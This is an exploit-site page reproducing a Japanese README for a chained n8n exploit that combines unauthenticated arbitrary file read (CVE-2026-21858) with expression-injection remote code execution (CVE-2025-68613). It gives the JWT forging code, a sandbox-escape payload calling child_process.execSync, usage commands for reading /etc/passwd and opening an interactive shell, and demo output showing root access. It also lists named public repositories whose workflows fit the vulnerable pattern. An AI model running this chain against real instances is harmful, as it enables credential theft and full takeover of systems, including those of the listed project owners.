Sploitus

Exploit for CVE-2026-21858 CVE-2025-68613 CVE-2026-21858

kitploit · 2026-08-27

Exploit Code

MARKDOWN302 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALHAKIM88-CVE-2026-21858
# CVE-2026-21858 + CVE-2025-68613 - n8n フルチェーン

**認証なし任意ファイル読み取り → 管理者トークン偽造 → サンドボックス回避 → RCE**

|   
---|---  
**CVE**|  CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)  
**CVSS**|  10.0 + 9.9 (Critical)  
**影響を受けるバージョン**|  <= 1.65.0 (AFR) / >= 0.211.0 (RCE)  
**修正バージョン**|  1.121.0 (AFR) / 1.120.4+ (RCE)  
**公開日**|  2026-01-07 11:09 UTC  
**コードネーム**|  Ni8mare  
**クレジット**|  Dor Attias (Cyera)  
**エクスプロイト**| Chocapikk  
**プロセス**|  AI自動化: パッチ差分 → 再現 → ラボ → エクスプロイト (公開から約9時間)  
**タイプ**|  概念実証 - 汎用エクスプロイトではありません (特定のワークフロー設定が必要です。制限事項 を参照)  
  
## TL;DR

n8n に対する完全な認証なし RCE チェーン:

  1. **CVE-2026-21858** \- Content-Type 混乱 → 任意ファイル読み取り
  2. 設定ファイル + データベースを読み取り → 管理者 JWT を偽造
  3. **CVE-2025-68613** \- 式インジェクション → サンドボックス回避 → RCE



## 検出

この脆弱性は**バージョンベース** です。露出の観点では、脆弱な n8n インスタンスが公開アクセス可能な状態で存在します。

**LeakIX の結果:** 露出したインスタンスを表示

![LeakIX Detection Results](https://assets.kitploit.com/production/public/readmes/51443/76d0658b7a284f60bb2862608d18b3b35b990cf4efb7bac601a7045d38302ed9/70729662263fe2470e3563bb3b7941f0d3985d59ed52fe28b7c47ffe46502697-display-v1.webp)

## なぜこのエクスプロイトなのか?

このエクスプロイトは Cyera の記事 とは独立に開発されました (完了後に発見)。主な違い:

| Cyera (オリジナル研究)| このエクスプロイト  
---|---|---  
**ファイル読み取り**|  AI ナレッジベースに読み込み → チャットで照会| 直接 HTTP レスポンス  
**前提条件**|  チャットワークフロー + AI 統合| **ファイルアップロード付きの任意のフォーム**  
**RCE 手法**|  「Execute Command」ノード (デフォルトで無効)| **式インジェクション (デフォルトインストールで動作)**  
**自動化**|  手動/概念デモ| **完全自動化 Python スクリプト**  
  
どちらのアプローチも特定のワークフロー設定が必要です。Cyera はチャット + AI 統合が必要で、このエクスプロイトは Respond ノード付きのフォームが必要です。詳細は 制限事項 を参照してください。

## 攻撃チェーン

root@kitploit:~
    
    
    ┌───────────────────────────────────────────────────────────┐
    │                     認証なし                               │
    ├───────────────────────────────────────────────────────────┤
    │  1. /proc/self/environ を読み取り → HOME ディレクトリを特定 │
    │  2. $HOME/.n8n/config を読み取り → encryptionKey を取得    │
    │  3. $HOME/.n8n/database.sqlite を読み取り → 管理者資格情報 │
    ├───────────────────────────────────────────────────────────┤
    │                      トークン偽造                          │
    ├───────────────────────────────────────────────────────────┤
    │  4. encryptionKey から JWT シークレットを導出              │
    │  5. 管理者セッション Cookie を偽造                         │
    ├───────────────────────────────────────────────────────────┤
    │                    認証済み RCE                            │
    ├───────────────────────────────────────────────────────────┤
    │  6. 式インジェクションを含むワークフローを作成             │
    │  7. this.process.mainModule.require によるサンドボックス回避│
    │  8. 任意のコマンドを実行                                   │
    └───────────────────────────────────────────────────────────┘
    

## CVE-2026-21858 - Content-Type 混乱による任意ファイル読み取り

### パッチ

root@kitploit:~
    
    
    commit c8d604d2c466dd84ec24f4f092183d86e43f2518
    Author: mfsiega
    Date:   Thu Nov 13 11:51:40 2025 +0100
    
        Merge commit from fork
    

伝説の **「Merge commit from fork」** \- これを見たら、誰かが刺激的なものを見つけたということです。🌶️

### 根本原因

root@kitploit:~
    
    
    // 修正前 (脆弱)
    const files = (context.getBodyData().files as IDataObject) ?? {};
    await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
    
    // 修正後 (修正済み)
    a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
    

`Content-Type: application/json` を送信 → `filepath` を制御 → 任意のファイルを読み取り。

## CVE-2025-68613 - 式インジェクション RCE

### なぜこの回避方法なのか?

n8n はユーザーコード (Code ノード、式) を `vm2`/`isolated-vm` を使用してサンドボックス化します。他の RCE ベクター:

手法| 状態  
---|---  
Execute Command ノード| デフォルトで無効 (`N8N_ALLOW_EXEC_COMMAND=false`)  
SSH/HTTP ノード| リモートサーバーで実行 (n8n ホストではない)  
Pyodide サンドボックスエスケープ| CVE-2025-68668 - Python Code ノードが必要  
**式インジェクション**| **CVE-2025-68613 - デフォルトインストールで動作**  
  
**式インジェクション** を使用したのは、デフォルト設定の任意の n8n で動作するためです - 特別なノードや設定は不要です。Pyodide バイパス (CVE-2025-68668) は Python Code ノードが必要で、すべてのインスタンスで利用できるとは限りません。

### ペイロード

root@kitploit:~
    
    
    ={{ (function() { 
      var require = this.process.mainModule.require; 
      var execSync = require("child_process").execSync; 
      return execSync("id").toString(); 
    })() }}
    

n8n の式は `this.process.mainModule.require` にアクセスできます → 完全なサンドボックスエスケープ。

### トークン偽造

root@kitploit:~
    
    
    # JWT シークレットの導出
    jwt_secret = sha256(encryption_key[::2]).hexdigest()
    
    # JWT ハッシュ
    jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
    
    # トークン偽造
    token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
    

## ラボ環境のセットアップ

root@kitploit:~
    
    
    docker compose up -d
    # セットアップに約60秒待機
    # フォーム: http://localhost:5678/form/vulnerable-form
    # 資格情報: some-email@example.com / password
    

## 使用方法

root@kitploit:~
    
    
    # 任意のファイルを読み取り
    uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
    
    # コマンド付きフルチェーン
    uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
    
    # 対話型シェル
    uv run python exploit.py http://localhost:5678 /form/vulnerable-form
    

## デモ

root@kitploit:~
    
    
    ╔═══════════════════════════════════════════════════════════════╗
    ║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
    ║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    [*] Target: http://localhost:5678/form/vulnerable-form
    [*] Version: 1.65.0 (VULN)
    [x] HOME directory
    [+] HOME directory: /root
    [x] Encryption key
    [+] Encryption key: yusrXZV1...
    [x] Database
    [+] Database: 1327104 bytes
    [x] Admin user
    [+] Admin user: some-email@example.com
    [x] Token forge
    [+] Token forge: OK
    [x] Admin access
    [+] Admin access: GRANTED!
    [+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
    [x] RCE
    [+] RCE: OK
    
    uid=0(root) gid=0(root) groups=0(root)
    

## 制限事項

**これは「どんな n8n でも pwn できる」エクスプロイトではありません。** 動作するには特定の条件が必要です:

要件| 説明  
---|---  
**ファイルアップロード付きフォーム**|  ターゲットにファイルアップロードフィールドを持つフォームワークフローが必要  
**Respond to Webhook ノード**|  ワークフローが HTTP レスポンスでファイル内容を返す必要がある  
**ワークフローが有効**|  フォームワークフローがアクティブ化されている必要がある  
**認証なしアクセス**|  フォームが公開アクセス可能である必要がある (認証なし)  
  
**脆弱なワークフロー設定の例:**

root@kitploit:~
    
    
    {
      "nodes": [
        {
          "name": "Form Trigger",
          "type": "n8n-nodes-base.formTrigger",
          "parameters": {
            "responseMode": "responseNode",
            "formFields": {
              "values": [{ "fieldLabel": "document", "fieldType": "file" }]
            }
          }
        },
        {
          "name": "Respond",
          "type": "n8n-nodes-base.respondToWebhook",
          "parameters": {
            "respondWith": "binary",
            "inputDataFieldName": "document"
          }
        }
      ],
      "connections": {
        "Form Trigger": { "main": [[{ "node": "Respond" }]] }
      }
    }
    

重要な要素は: `fieldType: "file"` \+ `respondWith: "binary"` です。このパターンはファイル処理ワークフロー (コンバーター、画像リサイザー、ドキュメントプロセッサー) で一般的です。

**動作するケース:**

  * Respond ノードがバイナリを返すフォーム (ファイルコンバーター、プロセッサー)
  * デフォルトの n8n インストール (式インジェクションはブロックされていない)
  * ローカル/Docker デプロイメント (データベースと設定がディスクに保存される)



**動作しないケース:**

  * Respond ノードのないフォーム (ファイルは読み取られるが、HTTP レスポンスで内容が返されない)
  * 認証が必要なフォーム
  * n8n Cloud (アーキテクチャが異なり、ローカルファイルアクセス不可)
  * パッチ適用済みバージョン (>= 1.121.0)



**注記:** 脆弱性 (任意ファイル読み取り) は、データ流出方法に関係なくトリガーされます。Respond ノードはコンテンツを取得する 1 つの方法にすぎません。代替方法 (OOB、他の出力ノード) はワークフロー設定によっては動作する可能性があります。

**ブラインドエクスプロイト:** Respond ノードが存在しない場合、ファイルは n8n によって読み取られますが、HTTP レスポンス経由でデータを流出させることはできません。代替手法 (OOB、タイミング) が必要になります。

## 実世界の例

脆弱なパターン (Form Trigger + ファイルアップロード + Respond to Webhook) は公開 GitHub リポジトリに存在します。

**注記:** 人気のある n8n ワークフローリポジトリ (>100⭐) はこのパターンを使用していません。これらはコミュニティ/個人プロジェクトです:

ワークフローファイル| ファイルフィールド| respondWith  
---|---|---  
ifcpipeline/.../ifcpipeline.json| IDS、IFC (x2)| `binary` ⚠️  
nano-banana-studio/.../03_multi_asset_processor.json| 画像、音声、Markdown| `json`  
ticket-omnichannel-chat/.../Knowledge_base.json| ドキュメント (PDF)| `text`  
ai_resume_project/resume_rag.json| ファイルアップロード| `allIncomingItems`  
fkgpt-portfolio/.../audio-transcription-analysis.json| 音声ファイル| `text`  
n8n-backup/.../K3DwHQs0fnnm5UK0.json| file| `text`  
voltixLandingPage/.../chatbotvoltix.json| ファイルアップロード| default  
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json| file| default  
8n8Workflows/.../3WoSqiBnZ56RtWMb.json| ドキュメントをアップロード| default  
learn_earn_ai_insta/.../My workflow.json| ファイルをアップロード| default  
finintworkshop/.../API using n8n (ToT).json| file| `json`  
  
これらは**コミュニティ投稿のワークフロー** です。公式の n8n.io テンプレートでこの脆弱なパターンを使用しているものはありません。

## 参考情報

  * Cyera Research - Ni8mare 完全版記事 \- Dor Attias によるオリジナル研究
  * GHSA-v4pr-fm98-w9pg \- CVE-2026-21858
  * GHSA-v98v-ff95-f3cp \- CVE-2025-68613
  * Nuclei テンプレート CVE-2025-68613
  * LeakIX 検索結果 \- 露出した脆弱なインスタンス
  * Formidable \- 「曲ではなくライブラリ」(笑わせてくれた Cyera に感謝)